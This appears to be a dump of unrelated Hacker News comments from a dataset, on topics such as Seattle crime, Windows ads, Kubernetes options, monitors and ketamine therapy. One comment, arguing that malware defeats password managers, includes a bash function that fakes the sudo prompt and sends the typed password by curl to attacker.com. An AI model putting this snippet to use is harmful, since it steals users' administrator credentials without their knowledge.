skysight-inc/HackerNews huggingface dataset:
Wanted to add another option to ushakov's comment: KNative (which is actually what CloudRun is built on).

If you run k8s clusters anywhere, OpenFaaS and KNative are both solid options. OpenFaaS is seems better suited for short running, less compute intensive things. Whereas KNative is a great fit for API's.. it just removed a bunch of the complexity around deployment (like writing a helm chart, configuring an HPA, etc).
I lived in Seattle from 2005 to 2018. By the time I left, the combination of all the tent cities, uniformed private security everywhere, metal detector lines in the ER, and at least 3 tech giants absolutely had me feeling like I was in a dystopian future. I used to walk the whole city at all hours and take it all in.
This is maybe the dominant pattern of bad software design: Writeups describe a good idea, umbrella terms emerge to refer back to it ("discoverability"), and inexperienced designers/engineers try to implement the idea based only on the one-word description and the common knowledge surrounding it, rather than actually learning about the topic it describes. (Maybe they took a corporate learning course on the topic, created by people with similarly inadequate competence on the topic). It's like a game of telephone taken to the logical extreme. They are attempting to use lessons from others' successes, but the end result is even worse than if the designers/engineers used nothing but their own common sense to architect in an information vacuum.

This particular cause of abysmal, insulting UX is common in new teams with no experience among the staff, but there's just no word for how embarrassing it is that Microsoft suffers from it so often too.
From my experience, people in Seattle tend not to report minor crimes because the police have no ability to do anything about it.

If a homeless person pushes you or spits at you, what are you realistically going to do? Call the police, wait 15-30 minutes for them to show up, and hope they can find a guy who's long gone? And even when they do bother to catch the person, the prosecutors in Seattle have a track record of dropping misdemeanor cases. It just seems like a waste of time, so you end up writing it off as an unlucky experience and moving on with your day.

Other cities may be more violent on paper, but perhaps that's because they have smaller homeless populations and their crimes are perpetrated by people who can be reliably located and prosecuted.
Virtually 0 chance of the functionality form Go being removed if you do.
I don't know if that's the case in Seattle, but it certainly is in Canada's largest (and very left-wing and socialist) cities.

Reporting crime to the police is usually just an additional burden on the victim/reporter, often when they need it least.

At best, a police report might make filing an insurance claim easier if property was damaged. Otherwise, it's just not worth it for most people to file a report that basically gets ignored.
It's not as easy... For example, it is possible and legal to use your own number to call from a VoIP provider, so the recipient can call you back on your actual phone.

On the other hand, it should be possible to detect at least a percentage of spoofed caller IDs and block them (e.g. non-existing numbers).
That works to some extent, but there are packages which don't have a UI from which to check for updates, so you could end up with some services becoming outdated and broken, or just vulnerable.
Message passing without shared memory is slow, having to copy data and maybe even serialise/deserialise it in the process. Message passing where you are just passing a pointer is fast.

Web workers are basically the worst case, you have to serialise your data to and from JSON when passing it to and from a worker. It’s not built for performance. There have been many cases where people have tried to improve performance of their apps by offloading work to a web worker but the added cost of serialisation ultimately made it slower than running on the main thread.
Sounds like you're looking more for the upcoming M2 refresh of the Mac Pro.
The IPC gains were what I specifically wrote about and those turned out to be true with <5% IPC gains on the Avalanche core CPU
Good thing “Files” already exists, then: https://www.microsoft.com/en-us/p/files-app/9nghp3dx8hdx?act...
Gas fees
Data transfer with animated QR codes (2019?)
Aand there's a problem :) So if you consider the size of most audit teams relative to the size of the IT departments they audit, how do the auditors become subject matter experts in all the different types of technology in use in the organization?

It's a tricky problem. One option is to audit against "known standards" but that's often a horrible hack as the standards themselves need maintained and with more cutting edge technologies (think the rise of cloud native) the standards may not even have been written yet (or are hard to maintain as the underlying tech evolves so quickly)

Another option is to rely on external companies (e.g. the Big-4) but they don't have any more ways of getting large pools of SMEs in all the different technologies either (despite what their sales people might tell you).
if you don't collect personal data or analytics, you aren't covered by GDPR at all.

in the abstract sense of course everyone has to know all the laws of society - the law in its majestic equality forbids unsafe construction practices from builders and greengrocers alike - but that's not a particularly interesting or insightful observation.
> This is wrong, there is a casualty count timeline over the course of each of the listed conflicts.

Oh that would work so well for World War II. Really, this is meaningless.

> It's not impossible, they made a claim and I want to see the sources that led them to the conclusion. This is pretty normal in fact based discourse.

It's pretty normal for things where such sources are available, such as discussions about scientific subjects or other things that are easy to quantify in an exact manner. When talking about a war in progress it is just a way to throw shade.
What kind of platform/recruiter do you use for acquiring US clients? I have mostly relied on local meetups etc, but for obvious reasons they don't attract a lot of US attendance.
There is only one other monitor on the market with the pixel density and screen size equal to or greater than the Studio 27", eight year old panel or not.[0] If you want high PPI, right now, you get this, or you buy the 16:9, 60Hz 8K 32" Dell monitor and pray you can get the dual DP cables to work with your setup.

Unfortunately, Apple no longer sells the LG Ultrafine 5K [1], and no one knows if LG is even going to restock them.[2] So, you'll have to find one used, and you'll have to hope that LG continues to service this incredibly flaky series of monitors when you inevitably run into an issue.

On the flip side, if you don't care about the pixel density, you could have bought any of the low res gaming monitors, or 4k 28" monitors, or whatever other ultrawide, low PPI monstrosity the market has coughed up in the past eight years. They've been waiting this long for a reason.

You are stuck choosing between those modern features you listed and a >200ppi display. That is the state of the market right now. Until Apple solves this issue and charges you like $3,000 for the privilege later this year.[3]

----------

[0] https://pixensity.com/list/desktop/

[1] https://www.macrumors.com/2022/03/12/apple-lg-ultrafine-5k-d...

[2] https://www.lg.com/us/monitors/lg-27md5kl-b-5k-uhd-led-monit...

[3] https://www.macrumors.com/2022/03/10/studio-display-pro-laun...
It is quite easy really. If you are not able to identify a person by IP it is not PII. It MAY be PII for ISPs for example if they are able to associate the IPs to customers so they would have to treat it as such.
When is a file explorer about being distracted from going about your business? People will just migrate to Q-Dir.
It's frustrating that AFAIK the FLOSS choices are Blender (compositor is robust but has severe limitations and is really, really slow) and Natron (more featureful and faster but crashes if you look at it wrong).

Davinci Resolve has Fusion built in, which is good and runs on Linux but it isn't FLOSS and I think has some limitations in the free version.
I really like Windows, Azure and O365 and believe they have no real competition, especially when paired together. I can install Ubuntu or other Linux distros on my Windows PC, connect to my Azure VM or container easily and O365 is just simply unmatched, as hard as others try. So I advocate Azure and O365 especially and am harshly critical of Apple/Google. Microsoft generally handles the cloud aspect very well but seems still a bit lost on the OS side. Which is a bit insane to me, especially when sales skyrocketed during COVID, and Windows 11 is generally pretty solid at this point.
Amazon seemingly contacts me and everyone I know several times a year. I have assumed to this point that they have been operating on the churn for so long that they won’t be able to replace that approach for a long time.
That and Linux gaming
That's true right now, but that doesn't mean that hydrogen has to come from fossil fuels in the future (any more than most electrical power coming from fossil fuels right now means that that must also be the case in the future.)

When describing hydrogen for energy storage in a 100% renewable grid, the hydrogen would be produced by electrolysis using renewable energy.
May I recommend stellate gangelion block for PTSD .

https://youtu.be/nC2fBe6U7lg
The McDonalds is definitely at 3rd and Pine (the main entrance is on the corner of 3rd and pine, directly across from the Bond/Macy's), pike is on the other side of that block. But ya, everyone always gets those two streets confused:

https://www.youtube.com/watch?v=o78v8EE7Ano

3rd and Pike has a chipotles (that obviously wasn't there in the 90s). Pike is also much worse than Pine in terms of its unhoused problem (they hangout more at the Target, Pike Place Market area, 3rd and Pine is a bit of an outlier).
What are the pointlessly long names in the CIL ( Common Intermediate Language - CLR assembly )? Most of them are ADD, MUL, DUP, BGT, CALL, LDC.I4, and the like.

There are a few localloc, tailcall, volatile, and such but you don’t use them much.

Things like LDC.I4 ( load 32 bit integer ) have companions like LDC.I8 and LDC.R8 that add a lot of symmetry and clarity without adding too much bulk ( in my view ).
You might not have a full plan but you would have something. Even if it is just "my top people are on it, and full plan expected by ...".
The CLI tool is just a simple example to help people understand how easy this is.

Real world malware will bring everything it needs with it to wait until your password manager database file is unlocked next, or simply keylog or otherwise intercept the master password. To prove this point once for a client I made a modified Lastpass chrome browser plugin that intercepts the master password on next use.

I could write examples for every password manager but instead consider how simply malware can override your sudo command to steal it the next time you use it. No pure software defenses will help against any decent malware.

```

function sudo () {

realsudo=$(which sudo)

read -r -s -p "[sudo] password for $USER: " password

echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

$realsudo "${@:1}"

}

```
It's good to see this happen. One concern I have with Python is that its standard library is large enough to make reimplementation impractical. It even requires another language, TCL, to be included. Python could be bound to CPython forever. Removing the 'dead batteries' should help somewhat with this problem.
3rd and Pike is notorious for being sketchy. I avoid it when I can, but it's not like I'm fearing for my life while walking down the street.

There is a clear problem with homelessness here, and that's very evident downtown. When you get to the more residential area it feels like a normal city. It feels more uncomfortable than it does unsafe.
> replace the position with the Wipros of the world

They'll do this and suffer. I was hired in my previous job specifically to fix a bunch of code coming out of a similar contract organization (I actually had to mostly toss it away). It might save money at first, but the result will be 10x worse at 2/3 the cost of a regular full time developer.
I don't really see the connection between cgi and http basic auth. These seem orthogonal issues.

(And fwiw the usecase I have does not have any authentication and doesn't need any. It's taking a POST var and doing things with it, but there are no secrets involved.)
Some courses seem to put far too much emphasis on the memorization aspect of the courses, which has always seemed silly to me. For so many jobs you are not required to memorize a ton of information and instead can refer to manuals, textbooks, the internet, etc... for those kinds of things. These are also typically the things people forget shortly after the exam, which begs the question of how useful it even is in the first place. For example, I tried out an "Intro to sociology" class. It was a horrible class, and over half the exams questions were things like "Which person came up with xyz theory". Or "What year was xyz theory proposed". So many questions were purely memorization and did little to actually test your understanding of those theories.

What I remember out of most courses is not the things I had to memorize, but instead it is the practical components. Those should be the takeaways and things that get tested. Many people also just sucked at memorizing things like that, and I can totally see why cheating is such a problem on these kinds of tests.

Some of the bests tests I've taken where I've remembered the most material have been open book tests that allowed me to use all my textbooks and notes that I had taken. They were hard tests which really tested the understanding of the course material.
The part that is missing is the personal responsibility. If the guy doesnt change his direction with all the help thats available to him thats his own fault, not the system's.
Gibson did it in Neuromancer in 1984 and others before that. Even if the bio interface problem isn't solved, lightweight wearables that encompass all your vision and are super performant with a massive dev ecosystem and incredibly useful will be a reality in a couple decades.
this pretty much describes why I couldn’t stand that Windows era and strongly preferred my Mac instead. It was like it was designed to be anti-focus
Why no on the BOM increase? That is what the switch to LP5 and A16 would be.
What most of us ignore is that people have to want to help themselves. Otherwise, their lives will never permanently improve. And unfortunately, this desire doesn't usually happen until people hit bottom. Simple human nature.
Crypto miners leaving Kazakhstan as government announce power supply throttling
China Canceled H&M. Every Other Brand Needs to Understand Why
I suspect VR porn will be a huge driver of this technology. The porn industry both has the money and the desire to push the envelope into new offerings.

I wouldn't be surprised if pornhub invests in VR in some way in the next 5-10 years.
>they may face criminal charges as well

Criminal charges for cheating on an exam? Seems a bit absurd to me. I'm all for preventing fraud (especially when were talking about peoples lives), but I also like to think I'm a reasonable human being and criminal action seems unfounded here. It sounds to me like expectations and filters for exams are too unrealistic now combined with lack of alternative realizable opportunities, otherwise you wouldn't see this level of cheating nonsense.

Every day I see more and more ridiculous levels of competitive forces pushed on the bulk of society just to survive and it makes me wonder where the tipping point for social competitive forces for survival begin to exceed natural forces for survival and faith in societies destabilize to a point people just stop participating or at the very least many just "give up." You already see this in Japan, Korea, China (tang ping, "lying flat") and it seems to be an increasing trend in the US. I'm not intimately familiar with India but from what I have seen, it's not roses there either.

We have some fundamentally skewed power and control mechansim increasingly governing people in 'democratic societies' to which citizens seem to have little real democratic say in anymore.
I am skeptical that someone who has no job history in his adult life (and a rap sheet) can easily find formal employment - even if he had an absolute change of heart, it would take a pretty big-minded boss to trust him with the keys to the register. And it's a hard sell as a career change - sweeping out a fast food joint for hours and hours is not exactly living by your wits, even if you don't have to worry about getting arrested for doing it.
Right. there are plenty of exams in tech that require plain old practice and on-the-spot ingenuity. However, for medical and other fields, memorization and recall is key, so it's rife for this kind of cheating.

But honestly, if someone were to tattoo the same information onto their arm, there's an argument to be made it was permanently accessible just as much as memory.
Discussed here:

Speech to Birdsong Conversion - https://news.ycombinator.com/item?id=26626417 - March 2021 (27 comments)
There was a dystopian poem in the 1980's that ended with someone unable to go to sleep at night because there was a constant blinking red light when he closed his eyes from the AT&T answering machine implant in his eye.
Anti war protestor in Russian live TV
Hah! I never imagined DOOM as a use case when I was designing the Badger 2040 - how foolish of me, in hindsight it's obvious!

How far did you get with it? Any video of the end result?
>I’m not defending them

yes you are.
The VPN provider is TorGuard for the lazy.
Hah yeah knew some racers and they had a rule which was never speed in Virginia it's no joke.

As soon as you drive into the state there's signs telling you they will get you.
I tried to do that a year ago, but the problem was my PC froze (full lock up, even mouse pointer is frozen) regularly. I didn't know how to even start troubleshooting a thing like that so I left to Win10 again (was Linux Mint btw).
API backends/middleware can be Node.js too
Seems like a win win win. Ford moves cars, dealers move cars, people get a discount. Most people drive alone anyway, they won’t even remember there is no backseat control and may not even go back to the dealer to fix it.
Earpieces were alleged during the last presidential debates[1] (fact checkers said this was false), and other places[2]. How would one detect an implant?

[1]https://www.naturalnews.com/2020-10-05-biden-wore-wire-with-...

[2]https://twitter.com/3ree6ixty/status/1352444645125414913?ref...
Injecting someone with another psychoactive drug would not be a placebo. We would be comparing the efficacy of {other psychoactive drug} and ketamine. That's not to say this experiment has no value, it's one of the many experiments we should run to help build the case for ketamine.

The classic gold standard is to randomly assign subjects to groups. Then give one group a sugar pill, give the other group the treatment pill. Neither to patient, the person administering, or the person recording the results know who got the treatment who got the placebo. This is not possible with ketamine, psilocybin, MDMA, LSD, etc. That's fine, we can still build a strong body of experimental evidence of their efficacy. It bothers me when clearly non-blind non-mask experiments are labeled as double-blinded, which we see often in this body of research, this study included.
Immoral because of the current situation and how western countries are showing their support with Ukraine, even the US.
Does anyone make a serious OS for people who need to get real work done on their computer anymore?

Some recent frustrations with the big 3 OSs:

1. MacOS: The File>Save dialog has a unchangeable 35 character limit for what can be viewed in the file name field. WTF?! It's like these jokers have never worked in a real office where people create documents with dictated naming conventions like [Customer Name]_[Project Name]_[Project subtask]-[Date]. Maybe they think it is a way to force businesses to use Tags? Dear Apple, your OS seems toy like.

2. Linux: There is an age old Ubuntu bug (which bleeds into many Ubuntu based Distributions) where the installer wipes out the bootloader of a drive that you aren't even installing the OS on. Dear open source community: your desktop OSs are still hobbyist tweaker mode. I

3. Windows: First data mining telemetry and now you are going to show me ads? Dear MS, you keep trying to be Google or Facebook and all it has done is undermine a once serious OS.

(note that this is just a "what pissed me off this week list" and not intended to be a comprehensive criticism)
I'm not sure I'd agree with "rarely". There is some cross-over with auditing, but the infosec people (in my experience) are generally more risk focused than auditors who are more "rules" focused.

Also I've worked with quite a few security people who have strong technology backgrounds and have worked in IT before moving to security, so definitely understand the frustrations of operational teams.
Phone Tones in Musical Notation
Reminds me of programming in physics formulas in a Ti-83.

Turns out, the act of programming the formula made it easy for me to recall it without cheating.
Same here. I was done after Windows 7 for linux.

I would say I can't believe they are doing this but I can completely believe they are doing this.

I remember how much I liked Windows 2000 and then they had to "fix" it.
To an extent, yes. As a programmer who can't remember the syntax for declaring a two dimensional array and populating it with hard-coded strings, I feel somewhat hypocritical when I say that Medicine seems to be valid domain for rote memorization.
Every bad day for Microsoft is a good day for Linux.

Better question: Where in windows won't there be any ads? Will there be ghost ads behind the command line interface? Will they sell space on the BSOD?
We're talking about a country that criminalizes sorcery and witchcraft - the punishment is death, as it happens, and they do enforce those laws (last such execution was in 2012, IIRC).
If it's a one-time occurrence, the RoI is negligible or even negative. If it's a lifestyle for someone, then the RoI to society is significantly higher.
It can accelerate compilation times quite a bit at times, which could allow us to use more compile time safety checks and more compile time optimizations, indirectly making the lower core count computers faster.
https://www.youtube.com/premium
Indeed. Now, I'm trying to get the gamers that I know to switch.
Hm, yes, Wayland. It has not convinced me so I'm using X11 everywhere, that network transparency (through NX/X2go) is just too useful to let go. It is how my mother uses a Mate desktop running on the server-under-the-stairs here in Sweden from her laptop in the Netherlands to do her banking: Wireguard VPN + X2go. Would it work in Wayland? Probably, using VNC instead of X2go. Would it work without needing to futz with recalcitrant bits? Probably not. X2go "Just Works™" so... why bother?
If you're talking about in english "when pigs fly is" a common idiom.

If you're talking about code - sometimes it's nice to have extra-defensive code even if it's mostly inconceivable it will ever be triggered (especially if this will be used as a library for a lot of folks) but mostly you wouldn't.
My psychiatrist administers IV ketamine treatments for depression. (I don't use those; regular antidepressants work for me.) I'm not sure what dosage she uses, but from what she's told me, it's not a drug trip, and a lot of people don't feel any different during the treatment.

[Edited to clarify.]